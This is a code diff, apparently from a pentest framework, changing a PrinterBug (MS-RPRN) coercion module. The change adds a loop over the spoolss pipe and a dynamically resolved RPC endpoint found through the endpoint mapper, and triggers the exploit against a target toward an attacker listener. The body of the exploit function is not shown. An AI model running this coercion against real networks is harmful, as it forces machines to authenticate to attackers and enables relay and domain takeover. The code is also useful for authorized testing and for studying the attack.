|
1 | | -from impacket.dcerpc.v5 import transport, rprn, even |
| 1 | +from impacket import uuid |
| 2 | +from impacket.dcerpc.v5 import transport, rprn, even, epm |
2 | 3 | from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL |
3 | 4 | from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID |
4 | 5 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY |
@@ -146,32 +147,36 @@ def on_login(self, context, connection): |
146 | 147 | if self.method == "all" or self.method[:2] == "pr": # PrinterBug |
147 | 148 | runmethod = True |
148 | 149 | """ PRINTERBUG START """ |
149 | | - try: |
150 | | - printerbugclass = PrinterBugTrigger(context) |
151 | | - target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain |
152 | | - printerbugconnect = printerbugclass.connect( |
153 | | - username=connection.username, |
154 | | - password=connection.password, |
155 | | - domain=connection.domain, |
156 | | - lmhash=connection.lmhash, |
157 | | - nthash=connection.nthash, |
158 | | - target=target, |
159 | | - doKerberos=connection.kerberos, |
160 | | - dcHost=connection.kdcHost, |
161 | | - aesKey=connection.aesKey, |
162 | | - pipe="spoolss" |
163 | | - ) |
| 150 | + pipes = ["spoolss", "[dcerpc]"] |
| 151 | + for pipe in pipes: |
| 152 | + try: |
| 153 | + printerbugclass = PrinterBugTrigger(context) |
| 154 | + target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain |
| 155 | + printerbugconnect = printerbugclass.connect( |
| 156 | + username=connection.username, |
| 157 | + password=connection.password, |
| 158 | + domain=connection.domain, |
| 159 | + lmhash=connection.lmhash, |
| 160 | + nthash=connection.nthash, |
| 161 | + target=target, |
| 162 | + doKerberos=connection.kerberos, |
| 163 | + dcHost=connection.kdcHost, |
| 164 | + aesKey=connection.aesKey, |
| 165 | + pipe=pipe |
| 166 | + ) |
164 | 167 |
|
165 | | - if printerbugconnect is not None: |
166 | | - context.log.debug("Target is vulnerable to PrinterBug") |
167 | | - context.log.highlight("VULNERABLE, PrinterBug") |
168 | | - if self.listener is not None: # exploit |
169 | | - printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, "spoolss") |
170 | | - printerbugconnect.disconnect() |
171 | | - else: |
172 | | - context.log.debug("Target is not vulnerable to PrinterBug") |
173 | | - except Exception as e: |
174 | | - context.log.error(f"Error in PrinterBug module: {e}") |
| 168 | + if printerbugconnect is not None: |
| 169 | + context.log.debug("Target is vulnerable to PrinterBug") |
| 170 | + context.log.highlight("VULNERABLE, PrinterBug") |
| 171 | + if self.listener is not None: # exploit |
| 172 | + exploit_status = printerbugclass.exploit(printerbugconnect, self.listener, target, self.always_continue, pipe) |
| 173 | + if not self.always_continue and exploit_status: |
| 174 | + break |
| 175 | + printerbugconnect.disconnect() |
| 176 | + else: |
| 177 | + context.log.debug("Target is not vulnerable to PrinterBug") |
| 178 | + except Exception as e: |
| 179 | + context.log.error(f"Error in PrinterBug module: {e}") |
175 | 180 | """ PRINTERBUG END """ |
176 | 181 |
|
177 | 182 | if self.method == "all" or self.method[:1] == "m": # MSEven |
@@ -752,15 +757,50 @@ class PrinterBugTrigger: |
752 | 757 | def __init__(self, context): |
753 | 758 | self.context = context |
754 | 759 |
|
| 760 | + def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str: |
| 761 | + string_binding = r"ncacn_ip_tcp:%s[135]" % target |
| 762 | + rpctransport = transport.DCERPCTransportFactory(string_binding) |
| 763 | + rpctransport.set_connect_timeout(timeout) |
| 764 | + dce = rpctransport.get_dce_rpc() |
| 765 | + self.context.log.debug( |
| 766 | + "Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface)) |
| 767 | + ) |
| 768 | + try: |
| 769 | + dce.connect() |
| 770 | + except Exception as e: |
| 771 | + self.context.log.warning("Failed to connect to endpoint mapper: %s" % e) |
| 772 | + raise e |
| 773 | + try: |
| 774 | + endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce) |
| 775 | + self.context.log.debug( |
| 776 | + "Resolved dynamic endpoint %s to %s" |
| 777 | + % (repr(uuid.bin_to_string(interface)), repr(endpoint)) |
| 778 | + ) |
| 779 | + return endpoint |
| 780 | + except Exception as e: |
| 781 | + self.context.log.debug( |
| 782 | + "Failed to resolve dynamic endpoint %s" |
| 783 | + % repr(uuid.bin_to_string(interface)) |
| 784 | + ) |
| 785 | + raise e |
| 786 | + |
| 787 | + |
755 | 788 | def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): |
756 | 789 | binding_params = { |
757 | 790 | "spoolss": { |
758 | 791 | "stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target, |
759 | 792 | "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), |
| 793 | + "port": 445 |
760 | 794 | }, |
| 795 | + "[dcerpc]": { |
| 796 | + "stringBinding": self.get_dynamic_endpoint(uuidtup_to_bin(("12345678-1234-abcd-ef00-0123456789ab", "1.0")), target), |
| 797 | + "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), |
| 798 | + "port": None |
| 799 | + } |
761 | 800 | } |
762 | 801 | rpctransport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"]) |
763 | | - rpctransport.set_dport(445) |
| 802 | + if binding_params[pipe]["port"] is not None: |
| 803 | + rpctransport.set_dport(binding_params[pipe]["port"]) |
764 | 804 |
|
765 | 805 | if hasattr(rpctransport, "set_credentials"): |
766 | 806 | rpctransport.set_credentials( |
|
0 commit comments